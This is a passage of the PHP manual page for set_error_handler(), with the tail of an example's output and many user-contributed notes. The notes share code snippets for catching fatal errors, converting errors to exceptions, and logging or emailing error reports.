    [4] => 43.3
    [5] => 21.11
)
----
vector b - a notice (b = log(PI) * a)
<b>My NOTICE</b> [1024] Value at position 2 is not a number, using 0 (zero)<br />
Array
(
    [0] => 2.2894597716988
    [1] => 3.4341896575482
    [2] => 0
    [3] => 6.2960143721717
    [4] => 49.566804057279
    [5] => 24.165247890281
)
----
vector c - a warning
<b>My WARNING</b> [512] Incorrect input vector, array of values expected<br />
NULL
----
vector d - fatal error
<b>My ERROR</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />
  Fatal error on line 35 in file trigger_error.php, PHP 5.2.1 (FreeBSD)<br />
Aborting...<br />

See Also

  • ErrorException
  • error_reporting() - Sets which PHP errors are reported
  • restore_error_handler() - Restores the previous error handler function
  • trigger_error() - Generates a user-level error/warning/notice message
  • error level constants
  • information about the callback type

User Contributed Notes

dannykopping at gmail dot com 16-Feb-2014 06:52
Keep in mind that, when attempting to set a statically-defined error handler on a namespaced class in PHP >= 5.3, you need to use the class namespace:

<?php
set_error_handler('\\My\\Namespace\\Bob::errorHandler');
?>
jtrick77 at gmail dot com 31-Oct-2013 06:13
For anyone interested in the actual translated error codes and their meanings:

1    E_ERROR (integer)     Fatal run-time errors. These indicate errors that can not be recovered from, such as a memory allocation problem. Execution of the script is halted.
2    E_WARNING (integer)     Run-time warnings (non-fatal errors). Execution of the script is not halted.
4    E_PARSE (integer)     Compile-time parse errors. Parse errors should only be generated by the parser.
8    E_NOTICE (integer)     Run-time notices. Indicate that the script encountered something that could indicate an error, but could also happen in the normal course of running a script.
16    E_CORE_ERROR (integer)     Fatal errors that occur during PHP's initial startup. This is like an E_ERROR, except it is generated by the core of PHP.
32    E_CORE_WARNING (integer)     Warnings (non-fatal errors) that occur during PHP's initial startup. This is like an E_WARNING, except it is generated by the core of PHP.
64    E_COMPILE_ERROR (integer)     Fatal compile-time errors. This is like an E_ERROR, except it is generated by the Zend Scripting Engine.
128    E_COMPILE_WARNING (integer)     Compile-time warnings (non-fatal errors). This is like an E_WARNING, except it is generated by the Zend Scripting Engine.
256    E_USER_ERROR (integer)     User-generated error message. This is like an E_ERROR, except it is generated in PHP code by using the PHP function trigger_error().
512    E_USER_WARNING (integer)     User-generated warning message. This is like an E_WARNING, except it is generated in PHP code by using the PHP function trigger_error().
1024    E_USER_NOTICE (integer)     User-generated notice message. This is like an E_NOTICE, except it is generated in PHP code by using the PHP function trigger_error().
2048    E_STRICT (integer)     Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code.    Since PHP 5 but not included in E_ALL until PHP 5.4.0
4096    E_RECOVERABLE_ERROR (integer)     Catchable fatal error. It indicates that a probably dangerous error occurred, but did not leave the Engine in an unstable state. If the error is not caught by a user defined handle (see also set_error_handler()), the application aborts as it was an E_ERROR.    Since PHP 5.2.0
8192    E_DEPRECATED (integer)     Run-time notices. Enable this to receive warnings about code that will not work in future versions.    Since PHP 5.3.0
16384    E_USER_DEPRECATED (integer)     User-generated warning message. This is like an E_DEPRECATED, except it is generated in PHP code by using the PHP function trigger_error().    Since PHP 5.3.0
32767    E_ALL (integer)     All errors and warnings, as supported, except of level E_STRICT prior to PHP 5.4.0.     32767 in PHP 5.4.x, 30719 in PHP 5.3.x, 6143 in PHP 5.2.x, 2047 previously

(Copied from http://php.net/manual/en/errorfunc.constants.php)
nicolas dot grekas+php at gmail dot com 24-Oct-2013 06:34
If you want to be sure that the native PHP error handler is called without resetting the handler stack (as set_error_handler(null) does), you can simply call set_error_handler with $error_types set to zero. This can be especially use full in conjunction with e.g. error_get_last():

<?php

// var_dump or anything else, as this will never be called because of the 0
set_error_handler('var_dump', 0);
@$undef_var;
restore_error_handler();

// error_get_last() is now in a well known state:
// Undefined variable: undef_var

... // Do something

$e = error_get_last();

...

?>
phil at propcom dot co dot uk 18-Sep-2013 05:38
It is important to note that the registered SPL autoloader will NOT be called if an E_STRICT error triggers the error handler which, in turn, tries to use classes which are not yet loaded.

In this instance, you should manually load classes required by the error handler.
elad dot yosifon at gmail dot com 01-Aug-2013 08:42
<?php
/**
 * throw exceptions based on E_* error types
 */
set_error_handler(function ($err_severity, $err_msg, $err_file, $err_line, array $err_context)
{
    // error was suppressed with the @-operator
    if (0 === error_reporting()) { return false;}
    switch($err_severity)
    {
        case E_ERROR:               throw new ErrorException            ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_WARNING:             throw new WarningException          ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_PARSE:               throw new ParseException            ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_NOTICE:              throw new NoticeException           ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_CORE_ERROR:          throw new CoreErrorException        ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_CORE_WARNING:        throw new CoreWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_COMPILE_ERROR:       throw new CompileErrorException     ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_COMPILE_WARNING:     throw new CoreWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_ERROR:          throw new UserErrorException        ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_WARNING:        throw new UserWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_NOTICE:         throw new UserNoticeException       ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_STRICT:              throw new StrictException           ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_RECOVERABLE_ERROR:   throw new RecoverableErrorException ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_DEPRECATED:          throw new DeprecatedException       ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_DEPRECATED:     throw new UserDeprecatedException   ($err_msg, 0, $err_severity, $err_file, $err_line);
    }
});

class WarningException              extends ErrorException {}
class ParseException                extends ErrorException {}
class NoticeException               extends ErrorException {}
class CoreErrorException            extends ErrorException {}
class CoreWarningException          extends ErrorException {}
class CompileErrorException         extends ErrorException {}
class CompileWarningException       extends ErrorException {}
class UserErrorException            extends ErrorException {}
class UserWarningException          extends ErrorException {}
class UserNoticeException           extends ErrorException {}
class StrictException               extends ErrorException {}
class RecoverableErrorException     extends ErrorException {}
class DeprecatedException           extends ErrorException {}
class UserDeprecatedException       extends ErrorException {}
Jacob Slomp 05-Jun-2013 07:56
This might be handy if you don't want your clients to see the errors, and you do want to be one step ahead of them.

It emails you the errors even if it's a parse error.

set_error_handler() doesn't work for what I wanted.

<?php
ini_set('log_errors',TRUE);
ini_set('error_log','tiny_uploads/errors.txt');

if($_SERVER['REMOTE_ADDR'] != "YOUR IP ADDRESS"){
    ini_set('display_errors',false);
}

function byebye(){

        $dir = dirname(__FILE__);
        if(file_exists($dir."/tiny_uploads/errors.txt")){

            $errors = file_get_contents($dir."/tiny_uploads/errors.txt");

            if(trim($errors)){

                $head = "From: php_errors@".str_replace('www.','',$_SERVER['HTTP_HOST'])."\r\n";

                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nServer Info:\n\n".print_r($_SERVER, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nCOOKIE:\n\n".print_r($_COOKIE, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nPOST:\n\n".print_r($_POST, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nGET:\n\n".print_r($_GET, 1)."\n\n";

                mail("YOUR@EMAIL.COM","PHP Error ".$_SERVER['HTTP_HOST']."", $errors , $head);

                $fp = fopen($dir."/tiny_uploads/errors.txt","w+");
                fputs($fp, "");
                fclose($fp);
            }
        }
}
register_shutdown_function("byebye");
?>
Philip 29-May-2013 04:10
By this function alone you can not catch fatal errors, there is a simple work around. Below is part of my error.php file which handles errors and exceptions in the application. Before someone complains I'll add that I do not care that I am using globals, this file is part of my mini framework and without the 'config' variable the application would crash anyways.

<?php

/**
 * Error handler, passes flow over the exception logger with new ErrorException.
 */
function log_error( $num, $str, $file, $line, $context = null )
{
    log_exception( new ErrorException( $str, 0, $num, $file, $line ) );
}

/**
 * Uncaught exception handler.
 */
function log_exception( Exception $e )
{
    global $config;

    if ( $config["debug"] == true )
    {
        print "<div style='text-align: center;'>";
        print "<h2 style='color: rgb(190, 50, 50);'>Exception Occured:</h2>";
        print "<table style='width: 800px; display: inline-block;'>";
        print "<tr style='background-color:rgb(230,230,230);'><th style='width: 80px;'>Type</th><td>" . get_class( $e ) . "</td></tr>";
        print "<tr style='background-color:rgb(240,240,240);'><th>Message</th><td>{$e->getMessage()}</td></tr>";
        print "<tr style='background-color:rgb(230,230,230);'><th>File</th><td>{$e->getFile()}</td></tr>";
        print "<tr style='background-color:rgb(240,240,240);'><th>Line</th><td>{$e->getLine()}</td></tr>";
        print "</table></div>";
    }
    else
    {
        $message = "Type: " . get_class( $e ) . "; Message: {$e->getMessage()}; File: {$e->getFile()}; Line: {$e->getLine()};";
        file_put_contents( $config["app_dir"] . "/tmp/logs/exceptions.log", $message . PHP_EOL, FILE_APPEND );
        header( "Location: {$config["error_page"]}" );
    }

    exit();
}

/**
 * Checks for a fatal error, work around for set_error_handler not working on fatal errors.
 */
function check_for_fatal()
{
    $error = error_get_last();
    if ( $error["type"] == E_ERROR )
        log_error( $error["type"], $error["message"], $error["file"], $error["line"] );
}

register_shutdown_function( "check_for_fatal" );
set_error_handler( "log_error" );
set_exception_handler( "log_exception" );
ini_set( "display_errors", "off" );
error_reporting( E_ALL );
dorphalsig at NOSPAMgmail dot com 06-Oct-2011 08:25
This actually works to catch Fatal errors...

<?php
function shutdown()
{
    $a=error_get_last();
    if($a==null)
        echo "No errors";
    else
         print_r($a);

}
register_shutdown_function('shutdown');
ini_set('max_execution_time',1 );
sleep(3);
?>

it will output
Array ( [type] => 1 [message] => Maximum execution time of 1 second exceeded [file] => /path/to/file_name.php [line] => 136 )
francois vespa 23-Dec-2010 12:27
This is a note when using php from the terminal (the CLI interface). From the command line, even if you have some kind of error user handler function so STDERR will not display, fatal errors will still cause the PHP interpreter to display error text. There is nothing you can do about that php-wise. If using UNIX/Linux, you can add " 2>/dev/null" at the end of your command to force STDERR not to show
periklis 02-Aug-2010 05:09
How to handle fatal errors in php 5.2:

<?php
register_shutdown_function('shutdownFunction');
function shutDownFunction() {
    $error = error_get_last();
    if ($error['type'] == 1) {
        //do your stuff
    }
}
?>
contact [a] ionisis [.] com 26-May-2010 12:54
There seems to be no way to access to access the _POST, _GET, etc if you call trigger_error from within a function inside a class file.
devermin at ti0n dot net 23-May-2010 12:46
At work I have some code with errors that uncatched are the causes of integrity loss (people calling web services with file_get_contents that fails silently and afterwards insert garbage in the database).

here is the solution I found to transform a specific set of errors into exception and afterwards be able to selectively act (with the error code) regarding categories :

<?php
ini_set('error_reporting',E_ALL^E_NOTICE);

## first 10 bits reserved for the initial error number
define('EMASK',(~0)<<10);
define('ECODEMASK',~EMASK);
## categories
define('IOERROR', 1<<10);
define('EMPTYPARMS', 1<<11);
define('FAILURE', 1<<12);
## string error patterns => code

$catch_me=array(
    "/^(file_get_contents)\((.*)\).*failed to open stream: (.*)/ " =>
        array ( 'mesg' => "IO::Failed to open stream with",
                'code' => IOERROR | FAILURE
        ),
    "/^fopen\(.*\): Filename cannot be empty/" =>
        array( 'msg' => "Parameters::empty",
                'code' => EMPTYPARMS
        )
    );
function error_2_exception($errno, $errstr, $errfile, $errline,$context) {
    global $catch_me;
    foreach ($catch_me as $regexp  => $res) {
        if(preg_match($regexp,$errstr,$match)){
            throw new Exception($res['mesg'],$res['code']|( $errno & EMASK ) );
        }
    }
    /* switch back to PHP internal error handler  */
    return false;
}
## => want to catch this one
$f=file_get_contents("mlsdkfm");
## dont want to break existing wrong behaviour yet (so not caught)
$f=file_get_contents('');
## magic
set_error_handler("error_2_exception");
## behaviour remains the same
$f=file_get_contents('');
try {
## web services that dont work now raise an exception \o/
$f=file_get_contents("mlsdkfm");
} catch(Exception $e) {
## and I can group my exception by category
    echo ( $e->getCode() & FAILURE )  ? "\nEPIC FAIL\n" : "\nbegnine";
}

?>
kalle at meizo dot com 18-Dec-2009 03:11
This may be of help to someone, who is/was looking for a way to get a backtrace of fatal errors such as maximum memory allocation issues, which can not be handled with user-defined functions, to pin-point the problem:

On a server hosting many sites that share common PHP includes, I set in one spot:

<?php
@ini_set ("error_log", "/my/path/php.err-" . $_SERVER ["HTTP_HOST"] . "-" . $_SERVER ["REMOTE_ADDR"] . "-" . $_SERVER ["REQUEST_METHOD"] . "-" . str_replace ("/", "|", $_SERVER ["REQUEST_URI"]));
?>

I actually used some additional information too from my software that I omitted, but that way, you'll find errors sorted more neatly in for example:-

/my/path/php.err-website.com-127.0.0.1-GET-path|index.html?xyz

And that at least helped me tremendously to then further pin-point where the problem is, as opposed to before just seeing the out of memory and not knowing which site/page it was on (as the PHP error only contains the very latest PHP code where it ran out of memory, which usually is just a shared included file, not the actual page).
quickshiftin at gmail dot com 01-Jul-2009 04:59
using the output_buffer as a way to trap fatal errors from php itself, like E_ERROR, cannot offer a complete solution, b/c output buffering is disabled on the cli since 4.3.5 ..
nizamgok at gmail dot com 16-Jun-2009 04:27
I have realized that a few people here mentioned that you cannot capture parse errors (type 4, E_PARSE). This is not true. Here is how I do. I hope this helps someone.

1) Create a "auto_prepend.php" file in the web root and add this:

<?php
register_shutdown_function('error_alert');

function error_alert()
{
        if(is_null($e = error_get_last()) === false)
        {
                mail('your.email@example.com', 'Error from auto_prepend', print_r($e, true));
        }
}
?>

2) Then add this "php_value auto_prepend_file /www/auto_prepend.php" to your .htaccess file in the web root.

* make sure you change the email address and the path to the file.
nsg 14-May-2009 01:58
If using E_USER_ERROR in conjunction with a custom error-handler, we are faced with an annoying choice:

If you choose to die() on such errors, __destruct()ors can still function, but we can't then return false and have the inbuilt handler log the error.

If you return false thus allowing the error to be logged, the script will halt, exit() style, and __destruct()'s won't happen.

It seems the only solutions in such a case is to a) log your own errors, or b) don't use E_USER_ERROR.
Marcelius 22-Jan-2009 02:41
Another way to catch PHP's fatal errors:

<?php
    error_reporting(E_ALL);
    ini_set('display_errors', 0);

    function shutdown(){
        $isError = false;
        if ($error = error_get_last()){
            switch($error['type']){
                case E_ERROR:
                case E_CORE_ERROR:
                case E_COMPILE_ERROR:
                case E_USER_ERROR:
                    $isError = true;
                    break;
            }
        }

        if ($isError){
            echo "Script execution halted ({$error['message']})";
        } else {
            echo "Script completed";
        }
    }

    register_shutdown_function('shutdown');
?>

Note that this will only catch runtime errors. So calling a method in a non existing class, or declaring a function twice does not trigger the shutdown handler.
wfinn at riverbed dot com 10-Jul-2008 03:15
"The following error types cannot be handled with a user defined function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT raised in the file where set_error_handler() is called."

This is not exactly true.  set_error_handler() can't handle them, but ob_start() can handle at least E_ERROR.

<?php

function error_handler($output)
{
    $error = error_get_last();
    $output = "";
    foreach ($error as $info => $string)
        $output .= "{$info}: {$string}\n";
    return $output;
}

ob_start('error_handler');

will_this_undefined_function_raise_an_error();

?>
jonbarnett at gmail dot com 11-Apr-2008 04:42
Per the comment below:

There's no problem with static class functions.

The proper way to set a callback for a static class function is:

array("Classname", "functionname")

The class name is a string.  If you don't quote the string, PHP treats it as a barestring and triggers a notice.

/manual/en/language.pseudo-types.php
etienne at perval dot fr 04-Mar-2008 12:17
Note that this function may return NULL in some cases, even when there are no errors.
For instance, this is the case when you call this function for the first time: the function returns NULL simply because there is no previous error handler defined.
m0sh3 at hotmail dot com 05-Feb-2008 06:33
Looks like there's no way to distinguish between catched exceptions thrown by internal classes and real warnings in custom error handlers:

<?php
function handleError($n, $m, $f, $l) {
    //no difference between excpetions and E_WARNING
    echo "user error handler: e_warning=".E_WARNING."  num=".$n." msg=".$m." line=".$l."\n";
    return true;
    //change to return false to make the "catch" block execute;
}
set_error_handler('handleError');
//turn off to make try/catch work normally

//uncomment this for a regular warning
timezone_open(1202229163);

//comment this whole try/catch out to see new DateTimeZone outside of a try / catch
//behavior is the same if you have set a custom error handler

//echo new DateTimeZone(1202229163);

//*
try {
    $z = new DateTimeZone(1202229163);
} catch (Exception $e) {
    echo "caught";
}
// */
?>
webmaster at paramiliar dot com 04-Jan-2008 08:03
We needed to use an error handler to handle SQL errors while passing the query along so the query is also logged and this is what we came up with, its kind of an ugly bridge but it works 100%

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
michal dot kocarek at NO_SPAM dot seznam dot cz 23-Sep-2007 11:55
Be aware of efficiency and speed of your scripts!

If you use old-fashioned non-strict variable calling (example follows...), your custom error handler function degrades the script speed very big (especially for bigger projects). Because of for every "use of undefined constant" or "undefined variable" E_NOTICEs will be called your own custom error handler function.

<?
if ($form_variable) { ///< E_NOTICE Undefined variable
   // process form stuff
}
$foo[bar] = $const_array[baz]; ///< 2x E_NOTICE Use of undefined constant bar, baz

if (!$d) { // declare default $d ///< E_NOTICE Undefined variable
   $d = 5;
}
?>

As you can see in this poor example, badly writted scripts decrease the performace very big 'cause of the error handler is called almost everytime. So use custom-error-handler on heavily used pages only if you are writing scripts strictly. (Example follows:)
<?
if (isset($form_variable) && $form_variable != null) {
   // process form stuff
}
$foo['bar'] = $const_array['baz'];

if (!isset($d) || $d == null) {
   $d = 5;
}
?>
ash 04-Aug-2007 12:38
error handling function that handles both errors and exceptions; also features a backtrace including possible function arguments.

<?php

$cfg = array();
$cfg['debug'] = 1;
$cfg['adminEmail'] = 'name@domain.tld';

function errorHandler($errno, $errstr='', $errfile='', $errline='')
{
    // if error has been supressed with an @
    if (error_reporting() == 0) {
        return;
    }

    global $cfg;

    // check if function has been called by an exception
    if(func_num_args() == 5) {
        // called by trigger_error()
        $exception = null;
        list($errno, $errstr, $errfile, $errline) = func_get_args();

        $backtrace = array_reverse(debug_backtrace());

    }else {
        // caught exception
        $exc = func_get_arg(0);
        $errno = $exc->getCode();
        $errstr = $exc->getMessage();
        $errfile = $exc->getFile();
        $errline = $exc->getLine();

        $backtrace = $exc->getTrace();
    }

    $errorType = array (
               E_ERROR            => 'ERROR',
               E_WARNING        => 'WARNING',
               E_PARSE          => 'PARSING ERROR',
               E_NOTICE         => 'NOTICE',
               E_CORE_ERROR     => 'CORE ERROR',
               E_CORE_WARNING   => 'CORE WARNING',
               E_COMPILE_ERROR  => 'COMPILE ERROR',
               E_COMPILE_WARNING => 'COMPILE WARNING',
               E_USER_ERROR     => 'USER ERROR',
               E_USER_WARNING   => 'USER WARNING',
               E_USER_NOTICE    => 'USER NOTICE',
               E_STRICT         => 'STRICT NOTICE',
               E_RECOVERABLE_ERROR  => 'RECOVERABLE ERROR'
               );

    // create error message
    if (array_key_exists($errno, $errorType)) {
        $err = $errorType[$errno];
    } else {
        $err = 'CAUGHT EXCEPTION';
    }

    $errMsg = "$err: $errstr in $errfile on line $errline";

    // start backtrace
    foreach ($backtrace as $v) {

        if (isset($v['class'])) {

            $trace = 'in class '.$v['class'].'::'.$v['function'].'(';

            if (isset($v['args'])) {
                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }

        elseif (isset($v['function']) && empty($trace)) {
            $trace = 'in function '.$v['function'].'(';
            if (!empty($v['args'])) {

                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }
    }

    // display error msg, if debug is enabled
    if($cfg['debug'] == 1) {
        echo '<h2>Debug Msg</h2>'.nl2br($errMsg).'<br />
            Trace: '.nl2br($trace).'<br />';
    }

    // what to do
    switch ($errno) {
        case E_NOTICE:
        case E_USER_NOTICE:
            return;
            break;

        default:
            if($cfg['debug'] == 0){
                // send email to admin
                if(!empty($cfg['adminEmail'])) {
                    @mail($cfg['adminEmail'],'critical error on '.$_SERVER['HTTP_HOST'], $errorText,
                            'From: Error Handler');
                }
                // end and display error msg
                exit(displayClientMessage());
            }
            else
                exit('<p>aborting.</p>');
            break;

    }

} // end of errorHandler()

function displayClientMessage()
{
    echo 'some html page with error message';

}

function getArgument($arg)
{
    switch (strtolower(gettype($arg))) {

        case 'string':
            return( '"'.str_replace( array("\n"), array(''), $arg ).'"' );

        case 'boolean':
            return (bool)$arg;

        case 'object':
            return 'object('.get_class($arg).')';

        case 'array':
            $ret = 'array(';
            $separtor = '';

            foreach ($arg as $k => $v) {
                $ret .= $separtor.getArgument($k).' => '.getArgument($v);
                $separtor = ', ';
            }
            $ret .= ')';

            return $ret;

        case 'resource':
            return 'resource('.get_resource_type($arg).')';

        default:
            return var_export($arg, true);
    }
}

?>
Thomas 18-Jul-2007 10:57
Be careful with error-handlers if you are using require() with a function as argument, like
<?php
  require(foo($foo));
?>
If the result of the function isn't a valid file to be included, you wont get any errormessage, but your script will crash without any output (see the bug-database for further details: http://bugs.php.net/bug.php?id=41862).
stepheneliotdewey at GmailDotCom 27-Jun-2007 06:26
Additional note based on some further testing:

Although errcontext is effectively an array passed by reference to your custom error handling function, you cannot simply copy it over to another variable, because that variable will also act like a reference to errcontext, almost like an object.

Instead, the only way I can find to copy the errcontext array to a separate variable so that you can actually modify its values without changing the surrounding variable context, is to copy it piece-by-piece with a foreach loop. Not the most efficient way of working, but then again, errors are hopefully exceptional enough for you that performance will not be an overriding concern in this case.
stepheneliotdewey at GmailDotCom 27-Jun-2007 05:48
The manual states:

"errcontext will contain an array of every variable that existed in the scope the error was triggered in. User error handler must not modify error context."

But do you know WHY you must not modify the error context? It appears that errcontext is (in effect if not literally) created by taking $GLOBALS and adding the non-global local variables as additional entries in that array, then passing the whole thing *by reference*.

(You can prove this to be true if you set up a custom error handler and then print_r($errcontext) within it, because $GLOBALS will be printed as a recursive array).

In other words, the language in the manual is misleading, because errcontext is NOT a copy of the variables that existed when the error WAS triggered, but rather is a reference to the *existing LIVE variables* in the calling script.

This includes superglobal variables like $_SERVER, $_POST, $_GET, etc., as well as all user-defined variables in scope.

The significance of that is that if you modify errcontext, you will be modifying those other variables, not just for the life of your error handling function, but for the life of the calling script as well.

That doesn't matter if you plan to halt execution in your error handling function, but it will lead to unexpected behavior if you modify $errcontext and then return to the program's normal flow after handling the error, because the variables will stay modified. For example, if you unset $_SERVER in your custom error handling function, it will remain unset once the function is over and you have returned to the page that generated the error.

This should be made clearer in the manual, starting by marking errhandler with an ampersand (&) for passage by reference in the "Parameters" section above, like so:

handler ( int $errno, string $errstr [, string $errfile [, int $errline [, array &$errcontext]]] )
gotrunko at hotmail dot com 20-Jun-2007 10:26
To ereg error in a text file

<?php
$log_file="log.txt";

set_error_handler(log_handler);

function log_handler ( $errno, $errstr,  $errfile, $errline, $errcontext )
{
    $context = var_export($errcontext, TRUE);
    log_error_ereg("errno:$errno ($errstr) file:$errfile, line:$errline, context:$context\n");
}

function log_error_ereg($mess)
{
    global $log_file;

    $fd = fopen($log_file, 'a');
    if(!$fd)
    {
        echo "<pre>$mess</pre>";
    }
    else
    {
        if(!fwrite($fd, date('Y-m-d H:i:s')." ERR : \n$mess\n\n"))
        {
            echo "<pre>$mess</pre>";
        }
        fclose($fd);
    }
}
?>
greg sidberry[poetics5 at yahoo dot com] 16-May-2007 07:32
I was using a class, and needed to have a function within it handle php errors.

The following code will allow you to call a class function of already defined object while maintaining access to all the objects current data .
============================

set_error_handler("classPassPHPError");

$ObjectName="test";

$test->new className;

function classPassPHPError($errno, $errstr, $errfile, $errline){
global $ObjectName;

eval("global \$".$ObjectName.";");
eval("\$object=\$".$ObjectName.";");

$object->phpErrorHandler($errno, $errstr, $errfile, $errline);
$object=null;
}
silkensedai at online dot fr 02-May-2007 09:37
i made an error handler that print also the backtrace and that can die on some errors. It can be useful if you want to die on every error you find.

<?php

function my_error_handler($errno, $errstr, $errfile, $errline){
    $errno = $errno & error_reporting();
    if($errno == 0) return;
    if(!defined('E_STRICT'))            define('E_STRICT', 2048);
    if(!defined('E_RECOVERABLE_ERROR')) define('E_RECOVERABLE_ERROR', 4096);
    print "<pre>\n<b>";
    switch($errno){
        case E_ERROR:               print "Error";                  break;
        case E_WARNING:             print "Warning";                break;
        case E_PARSE:               print "Parse Error";            break;
        case E_NOTICE:              print "Notice";                 break;
        case E_CORE_ERROR:          print "Core Error";             break;
        case E_CORE_WARNING:        print "Core Warning";           break;
        case E_COMPILE_ERROR:       print "Compile Error";          break;
        case E_COMPILE_WARNING:     print "Compile Warning";        break;
        case E_USER_ERROR:          print "User Error";             break;
        case E_USER_WARNING:        print "User Warning";           break;
        case E_USER_NOTICE:         print "User Notice";            break;
        case E_STRICT:              print "Strict Notice";          break;
        case E_RECOVERABLE_ERROR:   print "Recoverable Error";      break;
        default:                    print "Unknown error ($errno)"; break;
    }
    print ":</b> <i>$errstr</i> in <b>$errfile</b> on line <b>$errline</b>\n";
    if(function_exists('debug_backtrace')){
        //print "backtrace:\n";
        $backtrace = debug_backtrace();
        array_shift($backtrace);
        foreach($backtrace as $i=>$l){
            print "[$i] in function <b>{$l['class']}{$l['type']}{$l['function']}</b>";
            if($l['file']) print " in <b>{$l['file']}</b>";
            if($l['line']) print " on line <b>{$l['line']}</b>";
            print "\n";
        }
    }
    print "\n</pre>";
    if(isset($GLOBALS['error_fatal'])){
        if($GLOBALS['error_fatal'] & $errno) die('fatal');
    }
}

function error_fatal($mask = NULL){
    if(!is_null($mask)){
        $GLOBALS['error_fatal'] = $mask;
    }elseif(!isset($GLOBALS['die_on'])){
        $GLOBALS['error_fatal'] = 0;
    }
    return $GLOBALS['error_fatal'];
}

?>

Usage :

<?php
error_reporting(E_ALL);      // will report all errors
set_error_handler('my_error_handler');
error_fatal(E_ALL^E_NOTICE); // will die on any error except E_NOTICE
?>
elven_rangers at yahoo dot com 14-Feb-2007 01:22
Unfortunately, none of the procedures described here by other users to catch all errors work.

Then again this would be impossible as parse errors are triggered before the code is interpreted and executed so no code solution is possible (just as the documentation says).

You can test them easily against this simple code:

some_function_that_doesnt_exist();

using it in this form will trigger a Fatal Error (call to undefined function), which can't be caught by using your custom defined handler but *can* be caught by using the solutions presented by other programmers.

if you remove the ; from the end will trigger a Parse Error (syntax error), which *can't* be caught by any of these solutions. If this called is however places as the last line of code, just before the ?> then it will again generate a Fatal Error (call to undefined function).

if you further remove the () then you'll get a Notice (undefined constant) which can be caught by the manual method of defining a custom error handler.
mail at chernousov dot com 24-Oct-2006 12:52
When fatal error occurs, class destructors are not executed.

<?

class someClass {
  function __construct() {
    echo '__construct()';
  }

  function __destruct() {
    echo '__destruct()';
  }
}

$someClass = new someClass();
someNonExistentFunction();

?>

Result will be:

__construct()
Fatal error: Call to undefined function someNonExistentFunction() in tes.php on line 14
alexey.kupershtokh.gmail 02-Oct-2006 09:07
2errd
I've got more convenient and safe error to exception converter:

class CustomException extends Exception {
  public static function errorHandlerCallback($code, $string, $file, $line, $context) {
    $e = new self($string, $code);
    $e->line = $line;
    $e->file = $file;
    throw $e;
  }
}
set_error_handler(array("CustomException", "errorHandlerCallback"), E_ALL);
dk at brightbyte dot de 28-Aug-2006 01:09
Sometimes, you want to "catch" only some errors, and let the default handler deal with the result. I just found out that (at least in PHP 5), the default handler will be called if you return false (not 0 or NULL or '', but false) from your custom handler. This allows for "chaining" handlers.

The fature was suggested in this thread:
http://www.zend.com/lists/php-dev/200405/msg00491.html - the initial suggestion was to call the default handler if true is returned, but this was changed later on, apperently.
jla 28-Jul-2006 01:16
Other option to "handle" ALL errors

set_error_handler("yourHandler");

// Parse,Compile, Core, etc... Errors
ini_set('html_errors',false);
ini_set('error_prepend_string','<html><head><META http-equiv="refresh" content="0;URL=/error.php?msg=');
ini_set('error_append_string','"></head></html>');
kariedoo 08-May-2006 10:07
function errorlog($type, $info, $file, $row)
{
   if ($handle = fopen("./log/ftp_error.log", "a"))
   {
      @fwrite($handle, date("Y-m-d H:i:s")." "--> $type: $info FILE: $file -  Row $row\r\n" );
      @fclose($handle);
   }//end if
}//end function

### in the error logging code for example ftp: ###

set_error_handler("errorlog");  //set your own Handler

$this->connect = ftp_connect(TXTCONNECT);
$this->login = ftp_login($this->connect, TXTID, FTPPASS);
$this->systype= ftp_systype($this->connect);

restore_error_handler(); //restore the old handler

------------------
content in file
------------------

2006-05-08 09:36:02 2: ftp_login(): Login incorrect. FILE: /html/cgi-bin/test/classes/ftp.class.php - Row 63
